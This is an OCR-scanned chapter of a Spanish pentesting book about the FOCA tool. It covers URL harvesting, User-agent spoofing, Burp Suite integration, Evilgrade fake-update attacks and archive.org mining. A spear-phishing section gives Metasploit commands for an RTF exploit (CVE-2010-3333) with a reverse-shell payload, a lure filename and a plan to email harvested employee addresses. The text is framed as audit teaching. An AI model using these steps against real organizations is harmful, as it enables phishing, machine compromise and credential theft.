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Obtencion de URLs en Dominios muy grandes

Cuando se est4 auditando un dominio realmente grande, con miles de documentos publicados en la
web, los limites que nos imponen los buscadores harian que solo se pudiera acceder a una minima
parte de estos ficheros si utilizamos las opciones de busqueda de documentos normales.

Por defecto, en el panel de documentos se realizan las busquedas de los documentos haciendo un
site:dominio_auditado. Si este tiene muchos subdominios, nos quedaremos sin conseguir las URLs
de todos los documentos, por lo que hay que buscar otras estrategias. En este ejemplo, como se
puede ver, hay 44.000 ficheros .DOC Indexados en Google, lo que hace inviable conseguir estas
direcciones preguntando al buscador por el dominio principal.

GO(}gle site:army.mil filetype:doc Buscar
Apromadﬁ' nte 44 400 I Bisgueds avanzada
resultados (0,

Imagen 05.03: Ficheros .doc Indexados en Google del dominio army.mil

La primera opcion que podemos utilizar es la de realizar las bisquedas manualmente usando las
opciones de Custom Search explicadas en el punto anterior. Con paciencia y artesania podremos
ir generando buisquedas que den mas y mas URLs hasta obtener, si no todas, si muchas mas de las
obtenidas inicialmente.

La segunda opcion es que para solucionar este problema FOCA ofrece la posibilidad de elegir el
servidor o el dominio desde el que se desean buscar los ficheros, de forma que sea posible acceder
a todos los resultados /ndexados de cada uno de los subdominios o de cada uno de los servidores
previamente descubiertos, realizando busquedas parciales.

. Technology . Google i
Diarnam: www hood anmy il o
% Files {612 found) | Falders (184 found) | Documents published (537 found)
Directory Listing enabled (I found) [FASIVE] Methods on folders {184 found) [PASIVE] | Tech. aspx (60 found)
Fie Exension =
0
hittp://www hood amy mil 'employment aspx _aspn L
hitp://www hood anmmy mil/dol/trans aspx _asp
hittp//weww hood amy mil/dol/matenal aspx -aspx
hittp//weww hood anmy mil /dol/index aspx aspx
http :/Awww hood amy mil/dol/supply aspx aspx
http:/Awww hood amy mil transportationinbound aspx Bspx |
http:/Awew hood amy mil Aransporation.poc aspx aspx e i

Imagen 05.04: Busqueda de URLs v Documentos por servidor y/o subdominio en FOCA

Es necesario ir, manualmente, subdominio por subdominio o host por host invocando estas opciones
de blsqueda de URLs en Google, busqueda de URLs en Bing, Technology Recognition para buscar
solo URLs de programs o documentos para obtener las listas de URLs de este nodo.
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Personalizar el valor del User-agent de FOCA

En la pestafia Nerwork del menu de opciones de FOCA es posible modificar el User-agent usado
por FOCA para realizar las conexiones al dominio analizado. El User-agent, en el ambito HTTP,
identifica al software que el cliente utiliza para realizar peticiones a los servidores web, y no es mas
que una cadena de texto que contiene informacion como el nombre del programa cliente, su nimero
de version, el sistema operativo sobre el que estd instalado o el idioma con el que se ha configurado.

De esta forma, si el servidor dispone de varias versiones del contenido a servir puede elegir la mas
adecuada para cada cliente basandose, por ejemplo, en el navegador o en el idioma, enviando en la
respuesta el contenido que mejor se adapta al User-agent que ha recibido en la peticion.

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Mozilla/5.0 (compatible; Googlebot/2.1; +HTTP://www.Google.com/bot. HTML)

Imagen 05.05: Ejemplos de User-agent: IES y rastreador de Google.

La idea de servir contenido distinto en funcion del User-agent también se ha utilizado en muchos
sitios webs que intentan subir posiciones en los buscadores presentando a éstos un aspecto distinto
del que se ofrece a los usuarios, para lo que utilizan mecanismos como H7TP rewrite que hacen que
solo se muestren los resultados si el User-agent de la web es el de un determinado buscador.

A esta técenica se le denomina Cloaking, o Encubrimiento, y ha venido siendo utilizada, a veces
incluso sin mala intencién, por sitios con malas caracteristicas de /ndexacion. Google y Bing
persiguen esta técnica eliminando de sus bases de datos a los sitios que la utilizan. Para evitar ser
detectados, en ocasiones algunos administradores utilizan paginas cloaked y no cloaked con los
minimos cambios posibles, es decir, con el menor impacto de contraste, consiguiendo asi reducir su
exposicion a los procesos automaticos de reconocimiento que utilizan los buscadores,

Pero esta idea en ocasiones también es utilizada por sitios web con contenido pornografico, de venta
de productos ilegales, etcétera, que comprometen servidores legitimos para incrustar enlaces a sus
sitios web y asi subir posiciones en los resultados mostrados por los buscadores. Y en estos casos el
cloaking tiene otra ventaja para los atacantes, y es que es posible hacer que las modificaciones que
realizan en sitios web vulnerados solo sean visibles para los buscadores y pasen desapercibidas para
los administradores de estos sitios y aquellos que podrian reportarles los problemas de seguridad.
Si se consigue que el ataque no sea detectado se conseguira mantener el sistema controlado mucho
mas tiempo, por lo que el atacante puede tener, al mas puro estilo rootkit, troyanizado un sitio web
durante mucho tiempo si se realiza un ajuste fino de la configuracion.

Por tanto, modificar el User-agent de FOCA (en la pestafia Network del ment de opciones) para
que utilice el de los bots de los buscadores en las peticiones que realice puede que permita localizar
mas informacion tanto en las ocasiones en las que el administrador del sitio analizado ha utilizado
técnicas cloacking, como en aquellas situaciones en las que el sitio haya sido comprometido y
contenga enlaces a otras webs sin que los administradores sean ni siquiera conscientes, aumentando
asi las posibilidades de éxito de la auditoria.
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Por otra parte, debido al impresionante auge de los dispositivos moviles como smartphones y tablets
que se ha producido en los ultimos afios, los sitios web estan desarrollando versiones reducidas y
personalizadas de sus paginas para que sean visualizadas de la mejor forma posible en este tipo de
dispositivos, que cuentan con pantallas mas reducidas y, habitualmente, conexiones mds lentas y en
los que los usuarios suelen utilizar los dedos para la navegacion en lugar del raton.

Es por ello que las versiones para moviles de los sitios web suelen ser mas ligeras, con menos
imagenes y contenido multimedia, cuentan con botones grandes y visibles, con textos mas legibles
y no hacen uso de elementos como los menus despegables.

Asi, en la imagen 05.06 pueden compararse dos versiones de una misma web tras modificar el User-
agent utilizado por el navegador de un ordenador portatil para simular ser el de un dispositivo movil
de Apple con la version del sistema operativo /OS 5.1.1:

Mozilla/5.0 (iPhone; U; CPU iPhone O3 5 1 1 like Mac 08 X; da-dk)

AppleWebKit/534.46.0 (KHTML, like Gecko)
Crins/19.0.1084.60 Mobile/9B206 Safari/7534.48.3).
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Imagen 05.06: Comparativa de las versiones estandar y movil de una misma pagina web.

Durante una auditoria de un sitio web puede ser interesante modificar el valor del User-agent
de FOCA para que utilice el de algin dispositivo maovil con el objetivo de acceder a las paginas
personalizadas para este tipo de equipos.

En una auditoria exhaustiva se deberia repetir el proceso con tantos valores de User-agent distintos
como se haya detectado que la web estd reconociendo para servir paginas distintas, ademas de los
de las arafias de los buscadores para ver como se muestran los datos a ellos, y descubrir si el sitio ha
sido vulnerado por los spammers o los expertos en Black SEO.

En muchas ocasiones, las versiones moviles en ocasiones se encuentran en proceso de desarrollo o
no han sido probadas y depuradas de forma tan exhaustiva como las versiones tradicionales, por lo
que es posible localizar bugs y vulnerabilidades que de otra forma pasarian inadvertidos.



Capitulo V. Plugins, informes y otros trucos 181

Monitorizacion de FOCA: Tareas y Logs

Cuando se esta analizando un dominio, puede parecer que en determinados instantes FOCA no esta
haciendo nada, pero seguro que estd trabajando. Para saber qué estd pasando con FOCA, se deben
tener presentes varios factores.

En primer lugar, FOCA tiene un gestor de hilos para la ejecucion de tareas. El nimero de hilos que
se pueden arrancar para realizar estas tareas es configurable desde las opciones. Alli vienen unos
valores por defecto que pueden ser ampliados hasta los limites de la maquina.

[#] Scan only netranges/8 (XX X.1-255)

Imagen 05.07: Tareas simultaneas que va a realizar FOCA

El panel de gestion de tareas de F'OCA esta accesible desde la opcion del ment de Tusk List, y en él

se pueden ver las tareas en ejecucion, el niimero de tareas encoladas y el nimero de tareas que se
han terminado ya.

Imagen 05.08: Panel de TaskList
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Si el nimero de tareas que tiene encoladas FOCA es muy alto, es mejor dejar que FOCA vaya
terminandolas y luego seguir pidiendo mas trabajo. Ten presente que si un proyecto se detiene y ain
quedan tareas sin finalizar estas se van a perder, asi que espera para cerrar una auditoria con FOCA
cuando ya no queden tareas.

Por otro lado, no todas las acciones que realiza FOCA llevan asociada la generacion de una tarea.
Muchas de las cosas que tienen que ver con el funcionamiento del motor de descubrimiento de red
y el analisis de metadatos no genera una tarea, pero sin embargo FOCA esta trabajando con ellas, y
se puede ver.

Para monitorizar ese tipo de acciones hay que hacer uso del Log, que se encuentra en el panel
principal de FOCA en la parte inferior, donde hay dos cosas que se pueden ver. Una el panel de
configuracion, donde se puede acceder a lo que queremos que se muestre en la parte de acciones.

Se pueden seleccionar niveles de severidad para que FOCA solo muestre las cosas importantes o
tipos de eventos que queremos que salgan por modulos, para saber como va cada una de las partes
que componen el proceso completo con FOCA.

Severtyfiter ] Modude filter | Tme  Souwce  Sevedy Message 7
7] debug @ AtoSave 4| i T e
I 9 Cowns [ | R e e e e

| low | [ ons E - Ls2i0s debug  Fleling dowri ewropal a

[ ] medum |' @] ONSCommontis 1821:10 m low  Downiloaded documen: Htps /e europel suropa eu/es defat 1.
h‘ﬂrm | |[#] DNSSearch «| 182110 Metadat - debug  Rebying download itps://www etsopal suropa eu/sies default fles . =
TEE G 182110 Metadat. debug  Retiying dowriload hitps //wwix eurapol europa ew/stes Adefaull Aes .. -
Check al Check al
 Unchuck ob Uncheck - [75ed] [ Descwete oo, | [€.Com |

Imagen 05.09: Configuracion del log de FOCA

Si se seleccionan todos los modulos y todos niveles de severidad, se podra tener una foto completa
de todo lo que esta realizando FOCA en cada momento. De hecho, cuando FOCA termina de ejecutar
todas las acciones que tiene de un determinado proyecto se podra saber porque ahi avisara de la
finalizacion.

Ese modulo de log puede ser también una fuente valiosa de informacion, por lo que se puede generar
una copia del mismo en fichero y en cualquier momento se puede resetear, filtrar o actualizar. En €1
quedan reflejados todos los servidores encontrados, como han sido encontrados, las vulnerabilidades
descubiertas en tiempo real, etcétera.

Por ultimo debe comprobarse el consumo de memoria que hace FOCA en cada momento, ya que
puede irse a valores de fuerte demanda de memoria. La herramienta FOCA no utiliza base de datos
para almacenar toda la informacion, lo que hace que esté todo en memoria.

Si el analisis que se esta haciendo con FOCA es sobre un dominio muy grande con muchos servidores
y subdominios, y sobre €l se han descubierto afiadido muchas URLs, se han hecho muchas pruebas
ya que han generado mucha informacion, entonces la gestion del proceso de FOCA en memoria
puede ser costoso. Ten presente por tanto que si vas a auditar un dominio muy grande, necesitaras
equipos con mucha memoria.
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2.Integracion de FOCA con otras herramientas

A menudo las funciones de 'OCA pueden ser ampliadas al utilizarla en conjuncion con otras
herramientas. En esta seccion vamos a ver algunos trucos de integracion que pueden ser ttiles.

Uso de FOCA con herramientas de Spidering

Hasta el momento hemos visto que FOCA utiliza informacion publicada en Internet para realizar
todos sus andlisis. Sin embargo, en ocasiones puede resultar muy util poder utilizar FOCA con
un servidor interno de una organizacién, o usar la herramienta para analizar enlaces que no estan
Indexados en las bases de datos de los buscadores, y eso, tal y como esta construida FOCA no es
posible a priori.

Para poder utilizar FOCA en estas situaciones es necesario utilizar un motor de Spidering externo y
cargar posteriormente la informacion obtenida a FOCA. Conseguir las URLs del sitio que se quiere
analizar se puede utilizar, por ejemplo, Burp Suite'. Esta herramienta funciona como un proxy local,
y, entre otras de sus muchas opciones, ofrece la posibilidad de hacer un spidering completo de un
sitio web que se haya visitado.

§
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Imagen 05.10: Activacion de spidering en un sitio.

1 HT'TP:/fportswigger NET/burp/
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Cuando se activa un spidering a un sitio con la herramienta Burp Suife, hay que definir el ambito al
que se quiere aplicar el crawling. Lo recomendable a la hora de trabajar con FOCA es realizar un
spidering completo de todo el dominio, asi que habria que marcar el ambito para todo el dominio.
No obstante, para el ejemplo que se muestra en la imagen 05.11 solo esta marcado el servidor como
ambito para la arafa.

(® burp suite v1.3.03

sﬂhmh-smﬁ
remove Rem irom scope
spider this host
ackwtscan iz hast
passtesly scan Wi fost i Nl {
engagemant tools [pro version ontyl rLﬂFﬁ“’-?-— _ S
coliapse beanch

detete host

H'I"I’Pf-l- 1 200 OF
Date: Thu, OI Sep 2010
©opy links In ihis host 0B:04:25 GHT

Sexrver: Apache/2.0.52
{Fed Hac}
X-Powered-By: PHP/4.3.9
| tSer~Cookie:
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o= hilpblantas paginasamaniias 6 0182479317408; paths/
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lmagen 05.11: Sp:dermg del sitio.

Una vez que se ha generado la estructura del sitio se dispondra de un arbol de direcciones Url que
podran ser auditadas con las funciones de descubrimiento de red, busqueda de vulnerabilidades o
analisis de metadatos con FOCA.

Para llevar esas URLs a un proyecto de FOCA hay que exportar la lista completa de todas esas URLs
a un fichero de tipo .zxt. Esto se hace con la opcion que tiene Burp Suite de copiar las URLs de un
determinado Host. Después se abre un fichero con un editor de textos en formato plano - el Bloc de
notas es una buena opcion - y se genera un nuevo fichero con todas las URLs pegadas.

Ese fichero es el que se utilizara para afiadir ese conjunto de URLs a FOCA. Para hacer esto, desde
el panel de documentos, se puede hacer uso de la opcion "Anadir /inks desde un fichero" y listo.
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Imagen 05.12: Afiadir links desde un fichero.

Despues de cargar esos enlaces desde el fichero, se mostraran todos los enlaces como si fueran URLs
de documentos a descargar, pero el motor de analisis de URLs de los modulos de descubrimiento de
red y blsqueda de vulnerabilidades comenzara a trabajar de forma automatica, pudiendo el usuario
completar el analisis con el resto de las opciones de FOCA.

Aqui se ha utilizado Burp Suite, pero valdria cualquier otra herramienta de crawling de URLs, e
incluso metiendo las direcciones Ur/ a mano es posible llevar cualquier direccion no recogida por el
motor de la FOCA dentro del analisis general del proyecto

FOCA Intruder: FOCA + Burp Suite + Intruder

Con este truco lo que se pretende obtener es un informe inicial de las vulnerabilidades mas genéricas
y comunes cuando se hace una auditoria de seguridad que ya son detectadas de manera eficiente
tanto por FOCA como por Burp Suite. Es decir, como comenzar la auditoria de seguridad de una
aplicacion web de una empresa utilizando la fuerza combinada de descubrimiento de objetivos
y vulnerabilidades mas comunes de FOCA y Burp Suite, para lanzar a continuacion el modulo
Intruder en funcion de los resultados obtenidos. Un truco que en Informdtica64 era conocido como
hacer un FOCA Intruder.
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Este es un proceso de auditoria, asi que los requisitos minimos de hardware y software para
configurar este escenario son los siguientes:

- FOCA4: Con todas las opciones de auditoria al maximo. .

- Burp Suite: preferentemente la version profesional debido a las penalizaciones de
rendimiento existentes en la version Free.

- Memoria RAM: al menos entre 4 y 8 GB, en funcion del tamafio del dominio, seria lo
optimo. FOCA tiende a requerir grandes cantidades de memoria en base a los resultados
obtenidos y Burp Suite se vuelve inestable cuando el historial de navegacion crece demasiado
si no se le ha preasignado al menos 2 GB al arrancar (en linea de comandos utilizar el
parametro -Xmx2g).

- Conexion de red: si el dominio es grande se requiere un buen ancho de banda para realizar
las pruebas.

Como se desea que F'OCA envie todas las pruebas a Burp Suife, es necesario redireccionar su salida
a través de la direccion /P de escucha del proxy local de Burp en la pestafia Network del mena
OPTIONS.

Use Proxy

Proxy HTTP

Port 2080

Custom U_ser Agent
Mozilla/5.0 (compatible; Googlebot/2.1; hitp://www google ¢

Imagen 05.13: Configuracion de uso de proxy y modificacion del user agent.
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Para configurar Burp correctamente en este escenario hay que tener en cuenta los siguientes aspectos:
- Ala hora de definir en el Scope el dominio a auditar, éste debe especificarse de la manera
mas genérica posible, es decir, afiadiendo el elemento especificando solamente el dominio
de la web.

- En las opciones de Proxy Listeners, debe configurarse correctamente la direccion /P y el
puerto de escucha.

- En las opciones del Spider hay que configurarlo para que realice el proceso de manera
automatica sobre los elementos definidos en el Scope.

- Por ultimo, en las opciones de Live Active Scanning hay que configurar tanto el modo
pasivo como el activo de manera automatica en los elementos definidos en el Scope.

| ? Live Active Scanning
-[6“ Automaticaitly scan the following targets as you browse. Active scan checks send various maficious requests designed fo identify common vuinerabilities. Use with
f -

& Dontscan

® Use sulle scope [defined in Target tab]
) Use custom scope

’Lg Live Passive Scanning
"_;J Automatically scan the following targets as you browse. Passive scan checks analyze your existing fraffic for evidence of vuinerabities, and do not send any
new requests fo the target,
@ Don't scan
) Scan everything
@ Use suite scope [defined in Target tab]
&) Use custom scope

Imagen 05.14: Configuracion del escaner en vivo de Burp Suite.

Tras configurar ambos programas llega el momento de empezar la pre-auditoria. Para ello, tal y como
ya hemos visto en anteriores capitulos, basta con pulsar los botones “Start”, en la seccion Networtk,
y “Search All” en la seccion Metadata de FOCA. Una vez obtenidos los resultados comenzaré la
auditoria manual de todos aquellos elementos que resulten sospechosos.

De manera adicional, y como fase de mantenimiento, es recomendable limpiar con cierta frecuencia
el Historial del Proxy y revisar que el escaner activo esta funcionando con normalidad. En caso
contrario sera necesario indicarle a Burp que analice de manera activa cada uno de los subdominios
detectados por FOCA, que apareceran listados en “Site Map”, en la pestafia de Target.

Es evidente que para hacer una auditoria de seguridad de una empresa hay que realizar muchas
mas tareas, pero usar FOCA Intruder puede automatizar gran parte del trabajo inicial y ayudara al
pentester a enfocar - nunca mejor dicho - el resto de la auditoria.
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Malware via actualizaciones: FOCA + Evilgrade

Evilgrade es un framework creado inicialmente Francisco Amato que estd pensado para, una
vez manipulado el trafico DNS que recibe la maquina atacada, suplantar a los servidores que son
comprobados por los clientes para buscar actualizaciones, de manera que se puedan comprometer
estas maquinas clientes mediante una actualizacion maliciosa que incluya un troyano.

La version 2.0 de la herramienta, que se presentd en Defcon 18 y Black Hat 2010, incorpora 53
modulos distintos para hacer ataques de este tipo, y cada uno de ellos implementa los mecanismos
necesarios para emular actualizaciones falsas de una aplicacion.

En la mayoria de los modulos se consigue ejecucion directa, en otros es necesaria una pequeiia
intervencion del usuario haciendo clic en algiin mensaje de alerta y en otros, como en el caso de
Windows Update, el ataque se lleva a cabo mediante la suplantacion de la pagina web original para
hacer un phishing.
El proceso general de actualizacion de una aplicacion es el siguiente:

- La aplicacion AppX arranca un proceso de actualizacion.

- Consulta a su servidor DNS para resolver la direccion del equipo Update. AppX.com.

- El servidor DNS devuelve la direccion /P correspondiente.

- AppX descarga el archivo HTTP://Update AppX.com/ultima_actualizacion. XML con la
informacion de las actualizaciones disponibles.

- AppX procesa el archivo y detecta que existe una actualizacion nueva.

- AppX descarga la actualizacion HTTP://Update AppX.com/atualizacion.exe y lo ejecuta
para su instalacion.

Los ataques Evilgrade tienen éxito porque la herramienta se aprovecha de que la mayoria de las
aplicaciones no verifican la procedencia de las actualizaciones y confian en que el servidor que les
estd entregando el Update es el servidor adecuado.

Asli, si un atacante logra manipular el trafico DNS y devolver la /P de un equipo que él controla,
ya sea mediante un acceso al DNS interno de la compaiiia, realizando un ataque de DNS Caché
Poisoning o de DNS tampering o, incluso, mediante un ARP Spoofing, de Rogue AP o de DHCP
hijacking si el ataque se realiza desde la red interna objetivo, la victima descargaria un fichero que
podria contener un troyano o un backdoor y, por tanto, seria comprometida tras su instalacion.

- El proceso al realizar un ataque Evilgrade seria, por tanto, el siguiente:

- La aplicacion AppX arranca un proceso de actualizacion.

- Consulta a su servidor DNS para resolver la direccion del equipo Update. AppX.com.

- El atacante manipula el trafico DNS y devuelve una /P bajo su control.

- AppX descarga el archivo HTTP://Update. AppX.com/ultima_actualizacion. XML, que ha
sido modificado por el atacante,
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- AppX procesa el archivo y detecta que existe una actualizacion nueva.

- AppX descarga la actualizacion HTTP://Update. AppX.com/troyano.exe y lo ejecuta para
su instalacion, comprometiendo asi la maquina.

Como FOCA incorpora un modulo de DNS Caché Snooping, una de las ideas que se nos ocurrio para
sacarle mas partido a la informacion extraida de la Caché de un servidor DNS, es generar un fichero
con todos los servidores para los cuales Evilgrade tiene un modulo de ataque. Este fichero se genera
directamente desde la herramienta de Evil Grade.

De esta manera FOCA puede descubrir cudles de las URLs de sofiware vulnerable a Evil Grade
estan siendo requeridas por los clientes de la organizacion y cudles son los modulos que se deberia
preparar en un posible esquema de ataque con Evilgrade dentro de un proceso de pentesting de una
empresa.

F\Blog\hacking FOCA\evigrade tx 4 losdfie |

Domain getafe.es {%%Mm]
File
Dns

ns2 getafe es l -
nslgetafe.es -
nsd getafe es

nat.getafe es

Host
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WWW vmware com
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windowsupdate microsoft. com
update microsoft.com
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Imagen 05.15: Analisis de un servidor DNS con Caché activada de modulos vulnerables a Evil Grade

Utilizando este truco, el pentester podria descubrir, por ejemplo, que en el dominio objetivo existen
maquinas con Windows que visitan sitios con Google Analvtics, para los cuales Evilgrade tiene un
modulo de ataque preparado, que los usuarios navegan a winscp.com, que es la pagina de un cliente
FTP que tiene activada la bisqueda de actualizaciones, o que al menos alguno de los clientes tiene
instalado el Antimalware de ClamAV.

Con toda esta informacion, recogida previamente, ¢l proceso de preparar un ataque dirigido contra
un objetivo usando Evilgracde se convierte en una tarea un poco mas sencilla.
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Ataques Spear Phising: FOCA + Metasploit

La informacion que FOCA obtiene al analizar los documentos publicados en los sitios web de una
compafiia podria también utilizarse para preparar un ataque Spear Phising durante el proceso de
auditoria de una empresa.

Estos ataques suelen ser desarrollados por competidores comerciales o espias industriales con el
objetivo de comprometer los sistemas y las redes de la organizacion de la victima para tratar de
robar informacion valiosa y secreta. Se basan en el envio de un correo electronico con un fichero
adjunto modificado o un enlace a un sitio web malicioso con la esperanza de que la victima confie
en el correo y abra el fichero o pinche en el enlace, comprometiendo asi su equipo y permitiendo el
acceso a los atacantes, que usaran este equipo para acceder al resto de la red.

Uno de los ataques de estas caracteristicas mas impactantes, de los conocidos por la opinién publica,
fue el sufrido por la Oficina Militar de la Casa Blanca durante el mes de Octubre de 2012, aunque
los representantes del gobierno estadounidense negaron que los criminales pudieran haber obtenido
ningun tipo de informacion clasificada. ;Como podria un auditor utilizar el anélisis de metadatos de
FOCA para preparar un ataque de estas caracteristicas?

Tal y como se estudio en el segundo capitulo del libro, FOCA es capaz de descubrir gran cantidad
de datos de un dominio auditado, entre los que se encuentran el software instalado en los equipos
clientes utilizados para la creacion de documentos, su sistema operativo, los nombres de usuario
de los trabajadores de la organizacion o, incluso, sus correos electronicos. Con esta informacion,
preparar un ataque Spear Phising se convierte en una tarea sencilla.

Si durante el proceso de recoleccion de informacion #OCA descubre que en una cantidad importante
de ordenadores de la compaiiia objetivo se encuentra instalada alguna version de la suite ofimatica
de Microsoft, el auditor podria tratar de explotar la Vulnerabilidad Microsoft Office RTF Parsing
Stack Overflow, presente en todas las versiones de Office 2010, 2007, 2003, y XP anteriores al
boletin MS/0-087, y que podria permitir a un atacante la ejecucion de codigo en el sistema.

El pentester, para ello, tendria que recopilar los correos electronicos de todos aquellos usuarios en
cuyo equipo estan instaladas estas aplicaciones, preparar un fichero RTF malicioso y enviarselo a
todas las potenciales victimas con el fin de que alguna de ellas abra el adjunto.

Para preparar el fichero RTF modificado se podria utilizar el framework Metasploit®, una aplicacion
muy utilizada por profesionales de la seguridad informatica para realizar tests de penetracion. Este
Sframework incluye herramientas, bibliotecas, modulos y una interfaz de usuario, y su funcionalidad
basica consiste en un lanzador de modulos que permite al usuario configurar un exploit y lanzarlo
contra un equipo objetivo, de forma que, si el exploif tiene éxito, se ejecuta el payload en la maquina
atacada. El exploit, por tanto, es un codigo escrito que trata de aprovechar una Vulnerabilidad en un
programa, mientras que el payload es el cddigo que se inyecta en la maquina a través del exploit,
siendo el caso mas habitual una shell inversa que establezca una conexion con el equipo del auditor
para que éste pueda interactuar con la maquina comprometida.

2 HTTP:/fwww.metasploit.com/



Capitulo V. Plugins, informes y otros trucos m

Siguiendo con el ejemplo, el pentester tendria que consultar la base de datos de exploits de
Metasploit para comprobar si existe algin modulo que aproveche la Vulnerabilidad Microsoft
Office RTF Parsing Stack Overflow, con CVE-2010-3333, comprobando que, en efecto, el mdodulo
Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) implementa un exploit para
dicha Vulnerabilidad.

El pentester, por tanto, tendria que seleccionar el exploit ms10 087 rif pfragments _bof, y elegir el
pavload deseado, como podria ser una shell reversa.

msf > use exploit/Windows/fileformat/msl0_087_rtf pfragments_bof

msf exploit{msl0_087_rtf pfragments_bof) > set payload Windows/meterpreter/Rever-
se_tep

A continuacion se deben configurar adecuadamente los parametros de ambos para que el ataque
tenga éxito. Para conocer las opciones de configuracion disponibles puede usarse la orden show
OPTIONS:

msf explcit(msl0_087_rtf pfragments bof) > show COFTICNS

Module OPTIONS (exploit/Windows/fileformat/msl0_087_rtf pfragments_bof) :

Name Current Setting Required Description

FILENAME msf.rtf yes The file name.
Payload OPTIONS (Windows/meterpreter/Reverse tcp):
Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHost yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic

Como puede observarse, el exploit presenta el parametro FILENAME, que sera el nombre del fichero
RTF generado. Por defecto el nombre es msf rif, por lo que habria que modificar ese nombre por uno
con mas posibilidades de ser abierto por las potenciales victimas, entrando en juego la habilidad del
pentester en las técnicas de ingenieria social. El parametro mas importante del payload es LHost,
que indica la direccion /P a la que el pavioad tratara de conectarse si el exploit tiene éxito, y que
debe apuntar al equipo del pentester.

msf exploit(msl0_087_rtf pfragments_bof) > set FILENAME modificacion_fechas_vaca-
ciones.rtf

msf exploit(msl0 087 _rtf pfragments bof) > set LHost IP pentester

msf exploit(msl0_087_rtf pfragments bof) > explcit

En ese momento, el auditor enviaria por correo electronico el fichero modificacion fechas
vacaciones.rff que se ha generado a la lista de potenciales victimas que se recopilo con FOCA. Si
finalmente alguna de ellas abre el fichero con una version de Office vulnerable el ataque tendria
€xito y, por tanto, el payload devolveria una consola de Meterpreter con la que el atacante podria
interaccionar y ejecutar una gran cantidad de acciones, como realizar un volcado de las cuentas de
usuario almacenadas en la maquina local junto con sus hashes, activar un sniffer en la red interna
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para capturar el trafico o, incluso, utilizar esta maquina para tratar de ganar acceso a otros servidores
de la red.

URLs desde el pasado: FOCA + Archive.org

A la hora de realizar una auditoria a un sitio web que ya lleva un tiempo en Internet, una tarea que
puede aportar una gran cantidad de informacion al pentester es realizar un repaso histérico de las
diferentes versiones de la web.

Si bien los propios buscadores de Internet como Google, Bing o, incluso, Robtex o Shodan pueden
ofrecer resultados que no es posible encontrar el momento de realizar la auditoria, debido a que
se hayan producido cambios desde que el buscador realizd la consulta, el sitio Archive.org “The
Wayback Machine’ vamucho mas alla en este sentido, ya que almacena unos 240 billones de paginas
web que han sido archivadas desde el afio 1996 y mantiene una linea temporal de la evolucién de
cada sitio web.

El funcionamiento de esta aplicacion es muy sencillo, ya que basta con introducir la Ur/ del sitio
auditado en la caja de busqueda y Archive.org mostrara un calendario y un timeline que permite
al usuario navegar por las diferentes versiones de la pagina, de forma que es posible visualizar y
estudiar cada una de las modificaciones realizadas en cada pagina del sitio.

Archive.org permite acceder al listado completo de las URLs historicas de un sitio web, para lo que
tan solo hay que incluir un * delante de la Ur/ auditada (en la posicion correspondiente a la fecha)
y otro detras.

Por ejemplo, si la web analizada fuera HTTP://informatica64.com, se obtendria el listado completo
al solicitar el recurso HTTP://web.archive.org/web/*/HTTP://informatica64.com/*. El resultado
es una tabla con seis columnas (Url, FROM, TO, CAPTURES, DUPLICATES, UNIQUES) que
contendra todas las URLs archivadas de ese dominio.

4.117 URLs have been captured for this domain.

Show [BB0E] entries Fitter results (i.e. ") |

URL t FRE?M TO CAPTURES DUPLICATES ”l;}NIﬂl.‘IES
bttp://informaticat4 com/AddToCalen wmay 18, 2812 may 18, 2812 1 e 1
dar.ashx?id=090011350
http:/finformaticab4.com/AddToCalen ene 21, 2813 ene 21, 2813 1 8 1
dar.ashx?id=090011620
http//informaticat4.com/AddToCalen may 18, 2812 may 10, 2012 1 L] 1
dar.ashx?id=160011256
http-//informaticat4.com/ASCodigoFu sep 19, 2812 ene 15. 2813 5 ] L
ente aspx

Imagen 05.16: 4.117 URLs almacenadas para el dominio informaticat4.com.

Utilizando un sencillo script que extraiga todas las URLs de la tabla devuelta y que las vuelque a un
fichero de texto, es posible cargar estos /inks a FOCA haciendo uso de la opcion “Afiadir links desde

3 HTTP://archive.org/webiweb. PHP
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un fichero”, tal y como se mostr6 en el truco FOCA + Spidering, de modo que todos los enlaces
seran mostrados como si fueran URLs de documentos a descargar y el motor de analisis de URLs
comenzara a trabajar de forma automatica, pudiendo el usuario completar el analisis con el resto de
las opciones de FOCA.

Con este truco el auditor podréa analizar con FOCA las diferentes copias histéricas de cada archivo,
como el robots.ixt, extraer los metadatos de las diferentes versiones de cada documento ofimatico,
acceder a archivos de una web antigua que alin sigan en el servidor o navegar por el tiempo hasta el
punto de fallo, ya que en ocasiones puede ocurrir que alguna de las versiones almacenadas contenga
fallos de seguridad o, incluso, que alguna de las copias fuera almacenada con el codigo fuente del
sitio entregado al buscador, tal y como se muestra en la siguiente imagen con la web de Apple.com

y un codigo en PHP.

&= = C # [*] web.archive.org/web/20100330101404/http://consultants.apple.com/macamerica
e — i — )
//Handle the top part that is highlighted in navigation.
$link = "profiles";
include("includes/page_meta.php”):
//ineluding java script in the header
i <script type='text/javascript'>
function caption_change(field) {
if(field == ‘buttonl'}) {
document .getElementById( "buttonl’).className =~ 'tab-
document .getElementById( 'infol').style.display =~ '';
document .getElementById( 'button2’).className = 'tab-
d t.getEl +ById({'info2').style.display = 'nog
} else {
document .getBlementById( 'buttonl’).claasName = "tab-
document.getElementById({ 'infol’).style.display = 'no
document .getElementById{ " 'info2"').style.display = "';
} d t.getEl tById({ 'button2’).clasaName = 'tab-
}
>
<?php </serip
include( "includes/page_ top.php"):
//include({"includes/omniture.php”};

Imagen 05.17: Una copia de MacAmerica PHP en Archive.org devuelve el codigo PHP.

El contar con una base historica de URLs de un sitio da muchisima informacion. Podran aparecer
directorios antiguos aun publicados, aplicaciones inseguras, o servidores que no hayan podido ser
localizados aun. Esta funcién da resultados fantasticos en cualquier proceso de auditoria.

Ademés, no solo se guardan las URLs o el codigo de las paginas web, sino que también es posible
acceder a documentos multimedia como videos, archivos Flash, documentos ofimaticos en sus
diferentes versiones y estados, y por supuesto con sus metadatos, informacion oculta y datos
perdidos.

Show 50[{} entries Filler results fi.e "ty | _doc

URL + FROM TO CAPTURES DUPLICATES UNIQUE]

http://www.mda.mil/barbb/downloads/ ene 9. 2009 ene 3, 2009
contrman.doc

Imagen 05.18: Dos copias linicas de este documento almacenadas en Archive.org




194 Pentesting con FOCA

Incluso aunque el documento ofimético atn esté en la web, conviene ir a Archive.org a localizar
